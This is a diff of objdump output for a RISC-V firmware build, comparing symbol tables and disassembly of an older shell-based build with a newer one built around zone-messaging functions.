+ 14 .debug_str        0000a517  00000000  00000000  00008798  2**0  CONTENTS, READONLY, DEBUGGING, OCTETS
+ 15 .debug_loc        00000a97  00000000  00000000  00012caf  2**0  CONTENTS, READONLY, DEBUGGING, OCTETS
+ 16 .debug_ranges     00000240  00000000  00000000  00013746  2**0  CONTENTS, READONLY, DEBUGGING, OCTETS
+ 17 .debug_macro      000032b4  00000000  00000000  00013986  2**0  CONTENTS, READONLY, DEBUGGING, OCTETS
+ 18 .debug_frame      0000037c  00000000  00000000  00016c3c  2**2  CONTENTS, READONLY, DEBUGGING, OCTETS
 SYMBOL TABLE:
 20401800 l    d  .init	00000000 .init
 20401870 l    d  .text	00000000 .text
-20405218 l    d  .rodata	00000000 .rodata
+20403bf8 l    d  .rodata	00000000 .rodata
 8000d800 l    d  .data	00000000 .data
-8000d870 l    d  .sdata	00000000 .sdata
-8000d880 l    d  .bss	00000000 .bss
-8000db80 l    d  .stack	00000000 .stack
-8000e380 l    d  .heap	00000000 .heap
+8000d860 l    d  .sdata	00000000 .sdata
+8000d878 l    d  .bss	00000000 .bss
+8000d9e0 l    d  .stack	00000000 .stack
+8000e1e0 l    d  .heap	00000000 .heap
 00000000 l    d  .riscv.attributes	00000000 .riscv.attributes
 00000000 l    d  .comment	00000000 .comment
 00000000 l    d  .debug_line	00000000 .debug_line
@@ -56,59 +56,45 @@ SYMBOL TABLE:
 00000000 l    d  .debug_frame	00000000 .debug_frame
 00000000 l    df *ABS*	00000000 exit.c
 00000000 l    df *ABS*	00000000 main.c
-8000d898 l     O .bss	00000028 buffer
-8000d8c0 l     O .bss	00000108 history.0
-8000d9c8 l     O .bss	00000021 inputline
-8000d9ec l     O .bss	00000100 str.4
-8000d800 l     O .data	00000010 p.5
-8000d880 l     O .bss	00000004 esc.3
-8000d884 l     O .bss	00000004 p.2
-8000d874 l     O .sdata	00000004 h.1
+8000d888 l     O .bss	00000028 buffer
+8000d8b0 l     O .bss	00000021 inputline
+00000000 l    df *ABS*	00000000 ZoneMessage.c
+00000000 l    df *ABS*	00000000 messageHandling.c
+8000d8d4 l     O .bss	00000080 str.0
+8000d868 l     O .sdata	00000008 recvBuffer.1
 00000000 l    df *ABS*	00000000 newlib.c
-8000d878 l     O .sdata	00000004 _heap_ptr.0
-00000000 l    df *ABS*	00000000 libgcc2.c
-00000000 l    df *ABS*	00000000 libgcc2.c
-00000000 l    df *ABS*	00000000 abs.c
+8000d870 l     O .sdata	00000004 _heap_ptr.0
 00000000 l    df *ABS*	00000000 atexit.c
 00000000 l    df *ABS*	00000000 fini.c
 00000000 l    df *ABS*	00000000 init.c
+00000000 l    df *ABS*	00000000 malloc.c
+00000000 l    df *ABS*	00000000 nano-mallocr.c
+00000000 l    df *ABS*	00000000 nano-mallocr.c
 00000000 l    df *ABS*	00000000 printf.c
-00000000 l    df *ABS*	00000000 qsort.c
-204030d0 l     F .text	00000042 swapfunc
-20403112 l     F .text	00000056 med3.constprop.0
-00000000 l    df *ABS*	00000000 sprintf.c
-00000000 l    df *ABS*	00000000 strcpy.c
+00000000 l    df *ABS*	00000000 sbrkr.c
+00000000 l    df *ABS*	00000000 snprintf.c
 00000000 l    df *ABS*	00000000 strlen.c
-00000000 l    df *ABS*	00000000 strncpy.c
+00000000 l    df *ABS*	00000000 strncmp.c
 00000000 l    df *ABS*	00000000 strnlen.c
 00000000 l    df *ABS*	00000000 strrchr.c
-00000000 l    df *ABS*	00000000 strtok.c
-00000000 l    df *ABS*	00000000 strtok_r.c
-00000000 l    df *ABS*	00000000 strtoull.c
-204035d0 l     F .text	000001a0 _strtoull_l.constprop.0
-00000000 l    df *ABS*	00000000 strtoul.c
-2040377c l     F .text	00000110 _strtoul_l.constprop.0
 00000000 l    df *ABS*	00000000 sysisatty.c
 00000000 l    df *ABS*	00000000 sysopen.c
 00000000 l    df *ABS*	00000000 sysread.c
 00000000 l    df *ABS*	00000000 syswrite.c
 00000000 l    df *ABS*	00000000 writer.c
 00000000 l    df *ABS*	00000000 __atexit.c
-8000daec l     O .bss	0000008c _global_atexit0
+8000d954 l     O .bss	0000008c _global_atexit0
 00000000 l    df *ABS*	00000000 __call_atexit.c
 00000000 l    df *ABS*	00000000 findfp.c
-20403a42 l     F .text	0000006a std
+20402908 l     F .text	00000068 std
 00000000 l    df *ABS*	00000000 fwalk.c
-00000000 l    df *ABS*	00000000 malloc.c
-00000000 l    df *ABS*	00000000 nano-mallocr.c
-00000000 l    df *ABS*	00000000 nano-mallocr.c
+00000000 l    df *ABS*	00000000 mlock.c
 00000000 l    df *ABS*	00000000 nano-vfprintf.c
 00000000 l    df *ABS*	00000000 nano-vfprintf_i.c
 00000000 l    df *ABS*	00000000 nano-vfprintf.c
-204044d0 l     F .text	00000028 __sfputc_r
+20403218 l     F .text	00000028 __sfputc_r
 00000000 l    df *ABS*	00000000 openr.c
 00000000 l    df *ABS*	00000000 readr.c
-00000000 l    df *ABS*	00000000 sbrkr.c
 00000000 l    df *ABS*	00000000 stdio.c
 00000000 l    df *ABS*	00000000 strchr.c
 00000000 l    df *ABS*	00000000 wbuf.c
@@ -118,17 +104,13 @@ SYMBOL TABLE:
 00000000 l    df *ABS*	00000000 lseekr.c
 00000000 l    df *ABS*	00000000 makebuf.c
 00000000 l    df *ABS*	00000000 memchr.c
-00000000 l    df *ABS*	00000000 mlock.c
 00000000 l    df *ABS*	00000000 nano-mallocr.c
 00000000 l    df *ABS*	00000000 fstatr.c
 00000000 l    df *ABS*	00000000 isattyr.c
 00000000 l    df *ABS*	00000000 nano-mallocr.c
-00000000 l    df *ABS*	00000000 libgcc2.c
 00000000 l    df *ABS*	00000000 _exit.c
-00000000 l    df *ABS*	00000000 libgcc2.c
-00000000 l    df *ABS*	00000000 ctype_.c
 00000000 l    df *ABS*	00000000 impure.c
-8000d810 l     O .data	00000060 impure_data
+8000d800 l     O .data	00000060 impure_data
 00000000 l    df *ABS*	00000000 
 20401870 l       .text	00000000 __fini_array_end
 20401870 l       .text	00000000 __fini_array_start
@@ -136,130 +118,121 @@ SYMBOL TABLE:
 20401870 l       .text	00000000 __preinit_array_end
 20401870 l       .text	00000000 __init_array_start
 20401870 l       .text	00000000 __preinit_array_start
-20404ec2 g     F .text	00000014 _malloc_usable_size_r
+20403bde g     F .text	00000014 _malloc_usable_size_r
 8000b800 g       *ABS*	00000000 sh_buff2_start
-20404e9a g     F .text	00000028 _isatty_r
-20403466 g     F .text	00000012 strcpy
-20404cca g     F .text	0000002c _lseek_r
-20403094 g     F .text	0000003c printf
-8000e070 g       .sdata	00000000 __global_pointer$
-204048d2 g     F .text	00000036 __sseek
-20403afc g     F .text	0000006a __sinit
-20404928 g     F .text	000000c2 __swbuf_r
-20403ab6 g     F .text	00000046 __sfmoreglue
-20404e0a g     F .text	00000002 __malloc_unlock
-2040305e g     F .text	00000026 memmove
-20403574 g     F .text	0000005c __strtok_r
-20404e70 g     F .text	0000002a _fstat_r
-8000d894 g     O .bss	00000004 errno
+20403bb6 g     F .text	00000028 _isatty_r
+204039ea g     F .text	0000002c _lseek_r
+204025f2 g     F .text	0000003a printf
+8000e060 g       .sdata	00000000 __global_pointer$
+204035f2 g     F .text	00000036 __sseek
+204029c0 g     F .text	0000006a __sinit
+20403648 g     F .text	000000c2 __swbuf_r
+2040297a g     F .text	00000046 __sfmoreglue
+20402b34 g     F .text	00000002 __malloc_unlock
+2040244e g     F .text	00000026 memmove
+20402652 g     F .text	0000006e snprintf
+20403b8c g     F .text	0000002a _fstat_r
+8000d884 g     O .bss	00000004 errno
 00000800 g       *ABS*	00000000 __stack_size
-8000d870 g       .sdata	00000000 __SDATA_BEGIN__
-20403168 g     F .text	000002a2 qsort
-20403048 g     F .text	00000016 memcpy
-20403aac g     F .text	0000000a _cleanup_r
-20403edc g     F .text	00000276 _svfprintf_r
-204026f8 g     F .text	00000424 readline
-2040206c g     F .text	0000015c print_pmp
-20401e04 g     F .text	00000268 print_stats
-20403c6e g     F .text	00000008 malloc
-20403898 g     F .text	00000004 isatty
-20402b20 g     F .text	00000008 _fstat
-204021c8 g     F .text	00000124 msg_handler
+8000d860 g       .sdata	00000000 __SDATA_BEGIN__
+20402438 g     F .text	00000016 memcpy
+20402970 g     F .text	0000000a _cleanup_r
+20402c22 g     F .text	00000278 _svfprintf_r
+20402428 g     F .text	00000008 malloc
+20402762 g     F .text	00000002 isatty
+2040229c g     F .text	00000008 _fstat
 80000000 g       *ABS*	00000000 dtim
-2040388c g     F .text	0000000c strtoul
-2040482a g     F .text	00000028 _sbrk_r
-204047fe g     F .text	0000002c _read_r
-204022ec g     F .text	0000040c cmd_handler
+2040262c g     F .text	00000026 _sbrk_r
+20403546 g     F .text	0000002c _read_r
 8000e800 g       .heap	00000000 _heap_end
-20404ed6 g     F .text	00000340 .hidden __umoddi3
-20402b4a g     F .text	00000006 _isatty
+204022c6 g     F .text	00000006 _isatty
 8000b800 g       *ABS*	00000000 sh_buff1_end
-8000d870 g     O .sdata	00000004 _global_impure_ptr
-20404e0c g     F .text	00000064 _realloc_r
-20402fea g     F .text	0000005e __libc_init_array
-8000db78 g       .stack	00000000 __bss_end
-20402c3e g     F .text	00000360 .hidden __udivdi3
-20402b54 g     F .text	00000030 _open
-20402b28 g     F .text	00000022 _sbrk
+8000d860 g     O .sdata	00000004 _global_impure_ptr
+20403b28 g     F .text	00000064 _realloc_r
+204023ca g     F .text	0000005e __libc_init_array
+8000d9e0 g       .stack	00000000 __bss_end
+204022d0 g     F .text	0000002e _open
+204022a4 g     F .text	00000022 _sbrk
 2040186c g     F .init	00000002 _init
-204034ae g     F .text	00000018 strnlen
-204019ac g     F .text	00000012 cmpfunc
-20402fb4 g     F .text	00000036 __libc_fini_array
-204034c6 g     F .text	00000032 strrchr
-204019be g     F .text	000002cc trap_handler
-20401c8a g     F .text	0000017a print_cpu_info
+20402718 g     F .text	00000018 strnlen
+20402394 g     F .text	00000036 __libc_fini_array
+20402730 g     F .text	00000032 strrchr
+20401d2a g     F .text	0000001a freeZoneMessage
+20401a46 g     F .text	000002cc trap_handler
 8000b000 g       *ABS*	00000000 sh_buff1_start
-204038d2 g     F .text	0000000c write
-20402c14 g     F .text	0000002a .hidden __lshrdi3
+2040279a g     F .text	0000000c write
+20401d44 g     F .text	00000040 setZoneMessage
 8000d800 g       *ABS*	00000000 sh_buff2_end
-20405eec g     O .rodata	00000020 __sf_fake_stderr
-20403df4 g     F .text	000000e8 __ssputs_r
-204044f8 g     F .text	00000042 __sfputs_r
-20404dee g     F .text	0000001a memchr
-20403c76 g     F .text	000000a2 _free_r
-8000d888 g     O .bss	00000004 _global_atexit
-2040397e g     F .text	000000c4 __call_exitprocs
-8000e380 g       .stack	00000000 _sp
+2040442c g     O .rodata	00000020 __sf_fake_stderr
+20402652 g     F .text	0000006e sniprintf
+20402b36 g     F .text	000000ec __ssputs_r
+20403240 g     F .text	00000042 __sfputs_r
+20403b0e g     F .text	0000001a memchr
+20402484 g     F .text	0000009e _free_r
+8000d880 g     O .bss	00000004 _global_atexit
+20402844 g     F .text	000000c4 __call_exitprocs
+8000e1e0 g       .stack	00000000 _sp
 20401800 g     F .init	00000000 _start
-20402b50 g     F .text	00000004 _lseek
-204038c4 g     F .text	0000000e read
-204047d2 g     F .text	0000002c _open_r
-2040390a g     F .text	00000074 __register_exitproc
-2040348a g     F .text	00000024 strncpy
-20404af4 g     F .text	00000028 _close_r
-204034f8 g     F .text	0000007c strtok
-204049ea g     F .text	0000010a __swsetup_r
-20403b66 g     F .text	0000009e __sfp
-8000db78 g       .stack	00000000 __BSS_END__
-20404852 g     F .text	00000030 __sread
-20404e08 g     F .text	00000002 __malloc_lock
-20404c64 g     F .text	00000066 _fflush_r
-20405f0c g     O .rodata	00000020 __sf_fake_stdin
-20403770 g     F .text	0000000c strtoull
-8000d880 g       .bss	00000000 __bss_start
-20403084 g     F .text	00000010 memset
-2040189c g     F .text	00000110 main
+204022cc g     F .text	00000004 _lseek
+2040278c g     F .text	0000000e read
+2040351a g     F .text	0000002c _open_r
+204027d0 g     F .text	00000074 __register_exitproc
+204026ea g     F .text	0000002e strncmp
+20403814 g     F .text	00000028 _close_r
+2040370a g     F .text	0000010a __swsetup_r
+20402a2a g     F .text	0000009e __sfp
+8000d9e0 g       .stack	00000000 __BSS_END__
+20403572 g     F .text	00000030 __sread
+20402b32 g     F .text	00000002 __malloc_lock
+20403984 g     F .text	00000066 _fflush_r
+2040444c g     O .rodata	00000020 __sf_fake_stdin
+8000d878 g       .bss	00000000 __bss_start
+20402474 g     F .text	00000010 memset
+2040189c g     F .text	000001aa main
 20400000 g       *ABS*	00000000 flash
-20404908 g     F .text	00000006 __sclose
-20403d18 g     F .text	000000dc _malloc_r
-2040344e g     F .text	00000018 strcmp
+20403628 g     F .text	00000006 __sclose
+20402522 g     F .text	000000d0 _malloc_r
+20401f10 g     F .text	00000136 receiveZoneMessageAndHandlePrintf2
+204026c0 g     F .text	00000018 strcmp
 20400000 g       *ABS*	00000000 itim
 2040186e g     F .init	00000002 _fini
-20403094 g     F .text	0000003c iprintf
-2040340a g     F .text	00000044 sprintf
-20405ce8 g     O .rodata	00000100 .hidden __clz_tab
-20402fa8 g     F .text	0000000c atexit
-204038de g     F .text	0000002c _write_r
-20404152 g     F .text	0000010c _printf_common
-8000d87c g     O .sdata	00000004 _impure_ptr
-20404b1c g     F .text	00000148 __sflush_r
-20403edc g     F .text	00000276 _svfiprintf_r
+204025f2 g     F .text	0000003a iprintf
+20401e10 g     F .text	00000054 deserializeZoneMessage
+2040238a g     F .text	0000000a atexit
+204027a6 g     F .text	0000002a _write_r
+20401d12 g     F .text	00000018 initZoneMessage
+20402e9a g     F .text	0000010c _printf_common
+8000d874 g     O .sdata	00000004 _impure_ptr
+2040383c g     F .text	00000148 __sflush_r
+20402c22 g     F .text	00000278 _svfiprintf_r
 8000d800 g       .data	00000000 _data
-20404cf6 g     F .text	0000005a __swhatbuf_r
+8000d864 g     O .sdata	00000004 admin_name
+20401d84 g     F .text	0000008c serializeZoneMessage
+20403a16 g     F .text	0000005a __swhatbuf_r
 8000d800 g       .data	00000000 __DATA_BEGIN__
-20402bc0 g     F .text	00000054 _write
-8000d880 g       .sdata	00000000 _edata
-8000e380 g       .heap	00000000 _end
-20405fe0 g       .data	00000000 _data_lma
-20404882 g     F .text	00000050 __swrite
+20402046 g     F .text	00000252 sendZoneMessage
+20402338 g     F .text	00000052 _write
+8000d878 g       .sdata	00000000 _edata
+8000e1e0 g       .heap	00000000 _end
+20404520 g       .data	00000000 _data_lma
+20401e64 g     F .text	000000ac receiveZoneMessageLoop
+204035a2 g     F .text	00000050 __swrite
 20401870 g     F .text	0000002c exit
-2040453a g     F .text	00000298 _vfiprintf_r
-20403c04 g     F .text	0000006a _fwalk_reent
-20405f2c g     O .rodata	00000020 __sf_fake_stdout
-2040340a g     F .text	00000044 siprintf
-20405de8 g     O .rodata	00000101 _ctype_
-20402b84 g     F .text	0000003c _read
-20405216 g     F .text	00000002 _exit
-20404d50 g     F .text	0000009e __smakebuf_r
-20403478 g     F .text	00000012 strlen
-2040425e g     F .text	00000272 _printf_i
-2040389c g     F .text	00000028 open
-8000d890 g     O .bss	00000004 __malloc_sbrk_start
-20402f9e g     F .text	0000000a abs
-2040490e g     F .text	0000001a strchr
-8000d88c g     O .bss	00000004 __malloc_free_list
-2040453a g     F .text	00000298 _vfprintf_r
-20402b1c g     F .text	00000004 _close
+20403282 g     F .text	00000298 _vfiprintf_r
+20402ac8 g     F .text	0000006a _fwalk_reent
+2040446c g     O .rodata	00000020 __sf_fake_stdout
+204022fe g     F .text	0000003a _read
+20403bf2 g     F .text	00000002 _exit
+20403a70 g     F .text	0000009e __smakebuf_r
+204026d8 g     F .text	00000012 strlen
+20402fa6 g     F .text	00000272 _printf_i
+20402764 g     F .text	00000028 open
+8000d87c g     O .bss	00000004 __malloc_sbrk_start
+2040362e g     F .text	0000001a strchr
+8000d878 g     O .bss	00000004 __malloc_free_list
+20403282 g     F .text	00000298 _vfprintf_r
+20402298 g     F .text	00000004 _close
+20402430 g     F .text	00000008 free
 
 
 
@@ -267,29 +240,29 @@ Disassembly of section .init:
 
 20401800 <_start>:
 20401800:	5fc0d197          	auipc	gp,0x5fc0d
-20401804:	87018193          	addi	gp,gp,-1936 # 8000e070 <__global_pointer$>
-20401808:	31018113          	addi	sp,gp,784 # 8000e380 <_end>
-2040180c:	00004517          	auipc	a0,0x4
-20401810:	7d450513          	addi	a0,a0,2004 # 20405fe0 <_data_lma>
+20401804:	86018193          	addi	gp,gp,-1952 # 8000e060 <__global_pointer$>
+20401808:	18018113          	addi	sp,gp,384 # 8000e1e0 <_end>
+2040180c:	00003517          	auipc	a0,0x3
+20401810:	d1450513          	addi	a0,a0,-748 # 20404520 <_data_lma>
 20401814:	5fc0c597          	auipc	a1,0x5fc0c
-20401818:	fec58593          	addi	a1,a1,-20 # 8000d800 <p.5>
-2040181c:	81018613          	addi	a2,gp,-2032 # 8000d880 <esc.3>
+20401818:	fec58593          	addi	a1,a1,-20 # 8000d800 <impure_data>
+2040181c:	81818613          	addi	a2,gp,-2024 # 8000d878 <__malloc_free_list>
 20401820:	00c5fa63          	bgeu	a1,a2,20401834 <_start+0x34>
 20401824:	00052283          	lw	t0,0(a0)
 20401828:	0055a023          	sw	t0,0(a1)
 2040182c:	0511                	addi	a0,a0,4
 2040182e:	0591                	addi	a1,a1,4
 20401830:	fec5eae3          	bltu	a1,a2,20401824 <_start+0x24>
-20401834:	81018513          	addi	a0,gp,-2032 # 8000d880 <esc.3>
-20401838:	b0818593          	addi	a1,gp,-1272 # 8000db78 <__BSS_END__>
+20401834:	81818513          	addi	a0,gp,-2024 # 8000d878 <__malloc_free_list>
+20401838:	98018593          	addi	a1,gp,-1664 # 8000d9e0 <__BSS_END__>
 2040183c:	00b57763          	bgeu	a0,a1,2040184a <_start+0x4a>
 20401840:	00052023          	sw	zero,0(a0)
 20401844:	0511                	addi	a0,a0,4
 20401846:	feb56de3          	bltu	a0,a1,20401840 <_start+0x40>
 2040184a:	00001517          	auipc	a0,0x1
-2040184e:	76a50513          	addi	a0,a0,1898 # 20402fb4 <__libc_fini_array>
-20401852:	756010ef          	jal	ra,20402fa8 <atexit>
-20401856:	794010ef          	jal	ra,20402fea <__libc_init_array>
+2040184e:	b4a50513          	addi	a0,a0,-1206 # 20402394 <__libc_fini_array>
+20401852:	339000ef          	jal	ra,2040238a <atexit>
+20401856:	375000ef          	jal	ra,204023ca <__libc_init_array>
 2040185a:	00000097          	auipc	ra,0x0
 2040185e:	1141                	addi	sp,sp,-16
 20401860:	c406                	sw	ra,8(sp)
@@ -311,7027 +284,4677 @@ Disassembly of section .text:
 20401870:	1141                	addi	sp,sp,-16
 20401872:	c422                	sw	s0,8(sp)
 20401874:	c606                	sw	ra,12(sp)
-20401876:	00002797          	auipc	a5,0x2
-2040187a:	10878793          	addi	a5,a5,264 # 2040397e <__call_exitprocs>
+20401876:	00001797          	auipc	a5,0x1
+2040187a:	fce78793          	addi	a5,a5,-50 # 20402844 <__call_exitprocs>
 2040187e:	842a                	mv	s0,a0
 20401880:	c781                	beqz	a5,20401888 <exit+0x18>
 20401882:	4581                	li	a1,0
-20401884:	0fa020ef          	jal	ra,2040397e <__call_exitprocs>
+20401884:	7c1000ef          	jal	ra,20402844 <__call_exitprocs>
 20401888:	5fc0c517          	auipc	a0,0x5fc0c
-2040188c:	fe852503          	lw	a0,-24(a0) # 8000d870 <_global_impure_ptr>
+2040188c:	fd852503          	lw	a0,-40(a0) # 8000d860 <_global_impure_ptr>
 20401890:	551c                	lw	a5,40(a0)
 20401892:	c391                	beqz	a5,20401896 <exit+0x26>
 20401894:	9782                	jalr	a5
 20401896:	8522                	mv	a0,s0
-20401898:	17f030ef          	jal	ra,20405216 <_exit>
+20401898:	35a020ef          	jal	ra,20403bf2 <_exit>
 
 2040189c <main>:
-2040189c:	1141                	addi	sp,sp,-16
-2040189e:	c606                	sw	ra,12(sp)
-204018a0:	c422                	sw	s0,8(sp)
-204018a2:	c226                	sw	s1,4(sp)
-204018a4:	00000797          	auipc	a5,0x0
-204018a8:	11a78793          	addi	a5,a5,282 # 204019be <trap_handler>
-204018ac:	30579073          	csrw	mtvec,a5
-204018b0:	6785                	lui	a5,0x1
-204018b2:	80878793          	addi	a5,a5,-2040 # 808 <__stack_size+0x8>
-204018b6:	3047a7f3          	csrrs	a5,mie,a5
-204018ba:	300467f3          	csrrsi	a5,mstatus,8
-204018be:	0c0007b7          	lui	a5,0xc000
-204018c2:	4709                	li	a4,2
-204018c4:	c7d8                	sw	a4,12(a5)
-204018c6:	0c002737          	lui	a4,0xc002
-204018ca:	431c                	lw	a5,0(a4)
-204018cc:	4601                	li	a2,0
-204018ce:	4581                	li	a1,0
-204018d0:	0087e793          	ori	a5,a5,8
-204018d4:	c31c                	sw	a5,0(a4)
-204018d6:	00004517          	auipc	a0,0x4
-204018da:	17e50513          	addi	a0,a0,382 # 20405a54 <_exit+0x83e>
-204018de:	7bf010ef          	jal	ra,2040389c <open>
-204018e2:	00004517          	auipc	a0,0x4
-204018e6:	17a50513          	addi	a0,a0,378 # 20405a5c <_exit+0x846>
-204018ea:	7aa010ef          	jal	ra,20403094 <iprintf>
-204018ee:	00004517          	auipc	a0,0x4
-204018f2:	17650513          	addi	a0,a0,374 # 20405a64 <_exit+0x84e>
-204018f6:	79e010ef          	jal	ra,20403094 <iprintf>
-204018fa:	00004517          	auipc	a0,0x4
-204018fe:	1b250513          	addi	a0,a0,434 # 20405aac <_exit+0x896>
-20401902:	792010ef          	jal	ra,20403094 <iprintf>
-20401906:	00004517          	auipc	a0,0x4
-2040190a:	1ee50513          	addi	a0,a0,494 # 20405af4 <_exit+0x8de>
-2040190e:	786010ef          	jal	ra,20403094 <iprintf>
-20401912:	00004517          	auipc	a0,0x4
-20401916:	15250513          	addi	a0,a0,338 # 20405a64 <_exit+0x84e>
-2040191a:	77a010ef          	jal	ra,20403094 <iprintf>
-2040191e:	00004517          	auipc	a0,0x4
-20401922:	21e50513          	addi	a0,a0,542 # 20405b3c <_exit+0x926>
-20401926:	76e010ef          	jal	ra,20403094 <iprintf>
-2040192a:	00004517          	auipc	a0,0x4
-2040192e:	25a50513          	addi	a0,a0,602 # 20405b84 <_exit+0x96e>
-20401932:	762010ef          	jal	ra,20403094 <iprintf>
-20401936:	00004517          	auipc	a0,0x4
-2040193a:	29650513          	addi	a0,a0,662 # 20405bcc <_exit+0x9b6>
-2040193e:	756010ef          	jal	ra,20403094 <iprintf>
-20401942:	00004517          	auipc	a0,0x4
-20401946:	2d250513          	addi	a0,a0,722 # 20405c14 <_exit+0x9fe>
-2040194a:	74a010ef          	jal	ra,20403094 <iprintf>
-2040194e:	00004517          	auipc	a0,0x4
-20401952:	30e50513          	addi	a0,a0,782 # 20405c5c <_exit+0xa46>
-20401956:	73e010ef          	jal	ra,20403094 <iprintf>
-2040195a:	00004517          	auipc	a0,0x4
-2040195e:	10a50513          	addi	a0,a0,266 # 20405a64 <_exit+0x84e>
-20401962:	732010ef          	jal	ra,20403094 <iprintf>
-20401966:	2615                	jal	20401c8a <print_cpu_info>
-20401968:	461d                	li	a2,7
-2040196a:	00004597          	auipc	a1,0x4
-2040196e:	33a58593          	addi	a1,a1,826 # 20405ca4 <_exit+0xa8e>
-20401972:	4505                	li	a0,1
-20401974:	75f010ef          	jal	ra,204038d2 <write>
-20401978:	00004497          	auipc	s1,0x4
-2040197c:	32c48493          	addi	s1,s1,812 # 20405ca4 <_exit+0xa8e>
-20401980:	82818413          	addi	s0,gp,-2008 # 8000d898 <buffer>
-20401984:	575000ef          	jal	ra,204026f8 <readline>
-20401988:	c911                	beqz	a0,2040199c <main+0x100>
-2040198a:	163000ef          	jal	ra,204022ec <cmd_handler>
-2040198e:	461d                	li	a2,7
-20401990:	85a6                	mv	a1,s1
-20401992:	4505                	li	a0,1
-20401994:	73f010ef          	jal	ra,204038d2 <write>
-20401998:	94018c23          	sb	zero,-1704(gp) # 8000d9c8 <inputline>
-2040199c:	02d000ef          	jal	ra,204021c8 <msg_handler>
-204019a0:	505c                	lw	a5,36(s0)
-204019a2:	f3ed                	bnez	a5,20401984 <main+0xe8>
-204019a4:	4505                	li	a0,1
-204019a6:	00300073          	0x300073
-204019aa:	bfe9                	j	20401984 <main+0xe8>
-
-204019ac <cmpfunc>:
-204019ac:	4108                	lw	a0,0(a0)
-204019ae:	419c                	lw	a5,0(a1)
-204019b0:	00f54563          	blt	a0,a5,204019ba <cmpfunc+0xe>
-204019b4:	00a7a533          	slt	a0,a5,a0
-204019b8:	8082                	ret
-204019ba:	557d                	li	a0,-1
-204019bc:	8082                	ret
-
-204019be <trap_handler>:
-204019be:	7159                	addi	sp,sp,-112
-204019c0:	caaa                	sw	a0,84(sp)
-204019c2:	d686                	sw	ra,108(sp)
-204019c4:	d496                	sw	t0,104(sp)
-204019c6:	d29a                	sw	t1,100(sp)
-204019c8:	d09e                	sw	t2,96(sp)
-204019ca:	cea2                	sw	s0,92(sp)
-204019cc:	cca6                	sw	s1,88(sp)
-204019ce:	c8ae                	sw	a1,80(sp)
-204019d0:	c6b2                	sw	a2,76(sp)
-204019d2:	c4b6                	sw	a3,72(sp)
-204019d4:	c2ba                	sw	a4,68(sp)
-204019d6:	c0be                	sw	a5,64(sp)
-204019d8:	de42                	sw	a6,60(sp)
-204019da:	dc46                	sw	a7,56(sp)
-204019dc:	da4a                	sw	s2,52(sp)
-204019de:	d872                	sw	t3,48(sp)
-204019e0:	d676                	sw	t4,44(sp)
-204019e2:	d47a                	sw	t5,40(sp)
-204019e4:	d27e                	sw	t6,36(sp)
-204019e6:	4515                	li	a0,5
-204019e8:	85aa                	mv	a1,a0
-204019ea:	4521                	li	a0,8
-204019ec:	00300073          	0x300073
-204019f0:	84aa                	mv	s1,a0
-204019f2:	4511                	li	a0,4
-204019f4:	85aa                	mv	a1,a0
-204019f6:	4521                	li	a0,8
-204019f8:	00300073          	0x300073
-204019fc:	842a                	mv	s0,a0
-204019fe:	4519                	li	a0,6
-20401a00:	85aa                	mv	a1,a0
-20401a02:	4521                	li	a0,8
-20401a04:	00300073          	0x300073
-20401a08:	47ad                	li	a5,11
-20401a0a:	86aa                	mv	a3,a0
-20401a0c:	0097ec63          	bltu	a5,s1,20401a24 <trap_handler+0x66>
-20401a10:	00004617          	auipc	a2,0x4
-20401a14:	b2860613          	addi	a2,a2,-1240 # 20405538 <_exit+0x322>
-20401a18:	00249713          	slli	a4,s1,0x2
-20401a1c:	9732                	add	a4,a4,a2
-20401a1e:	431c                	lw	a5,0(a4)
-20401a20:	97b2                	add	a5,a5,a2
-20401a22:	8782                	jr	a5
-20401a24:	800007b7          	lui	a5,0x80000
-20401a28:	00778713          	addi	a4,a5,7 # 80000007 <_heap_end+0xffff1807>
-20401a2c:	1ae48263          	beq	s1,a4,20401bd0 <trap_handler+0x212>
-20401a30:	00b78713          	addi	a4,a5,11
-20401a34:	20e48563          	beq	s1,a4,20401c3e <trap_handler+0x280>
-20401a38:	078d                	addi	a5,a5,3
-20401a3a:	12f48563          	beq	s1,a5,20401b64 <trap_handler+0x1a6>
-20401a3e:	8622                	mv	a2,s0
-20401a40:	85a6                	mv	a1,s1
-20401a42:	00004517          	auipc	a0,0x4
-20401a46:	ab650513          	addi	a0,a0,-1354 # 204054f8 <_exit+0x2e2>
-20401a4a:	a039                	j	20401a58 <trap_handler+0x9a>
-20401a4c:	8622                	mv	a2,s0
-20401a4e:	4581                	li	a1,0
-20401a50:	00003517          	auipc	a0,0x3
-20401a54:	7c850513          	addi	a0,a0,1992 # 20405218 <_exit+0x2>
-20401a58:	63c010ef          	jal	ra,20403094 <iprintf>
-20401a5c:	00004517          	auipc	a0,0x4
-20401a60:	ac050513          	addi	a0,a0,-1344 # 2040551c <_exit+0x306>
-20401a64:	630010ef          	jal	ra,20403094 <iprintf>
-20401a68:	00010c23          	sb	zero,24(sp)
-20401a6c:	4605                	li	a2,1
-20401a6e:	082c                	addi	a1,sp,24
-20401a70:	4501                	li	a0,0
-20401a72:	653010ef          	jal	ra,204038c4 <read>
-20401a76:	d97d                	beqz	a0,20401a6c <trap_handler+0xae>
-20401a78:	d89ff06f          	j	20401800 <_start>
-20401a7c:	a0b1                	j	20401ac8 <trap_handler+0x10a>
-20401a7e:	8622                	mv	a2,s0
-20401a80:	4585                	li	a1,1
-20401a82:	00003517          	auipc	a0,0x3
-20401a86:	7d250513          	addi	a0,a0,2002 # 20405254 <_exit+0x3e>
-20401a8a:	b7f9                	j	20401a58 <trap_handler+0x9a>
-20401a8c:	8622                	mv	a2,s0
-20401a8e:	4589                	li	a1,2
-20401a90:	00003517          	auipc	a0,0x3
-20401a94:	7f850513          	addi	a0,a0,2040 # 20405288 <_exit+0x72>
-20401a98:	b7c1                	j	20401a58 <trap_handler+0x9a>
-20401a9a:	8622                	mv	a2,s0
-20401a9c:	458d                	li	a1,3
-20401a9e:	00004517          	auipc	a0,0x4
-20401aa2:	81a50513          	addi	a0,a0,-2022 # 204052b8 <_exit+0xa2>
-20401aa6:	bf4d                	j	20401a58 <trap_handler+0x9a>
-20401aa8:	8622                	mv	a2,s0
-20401aaa:	4591                	li	a1,4
-20401aac:	00004517          	auipc	a0,0x4
-20401ab0:	83050513          	addi	a0,a0,-2000 # 204052dc <_exit+0xc6>
-20401ab4:	5e0010ef          	jal	ra,20403094 <iprintf>
-20401ab8:	00044783          	lbu	a5,0(s0)
-20401abc:	8b85                	andi	a5,a5,1
-20401abe:	e391                	bnez	a5,20401ac2 <trap_handler+0x104>
-20401ac0:	4489                	li	s1,2
-20401ac2:	9426                	add	s0,s0,s1
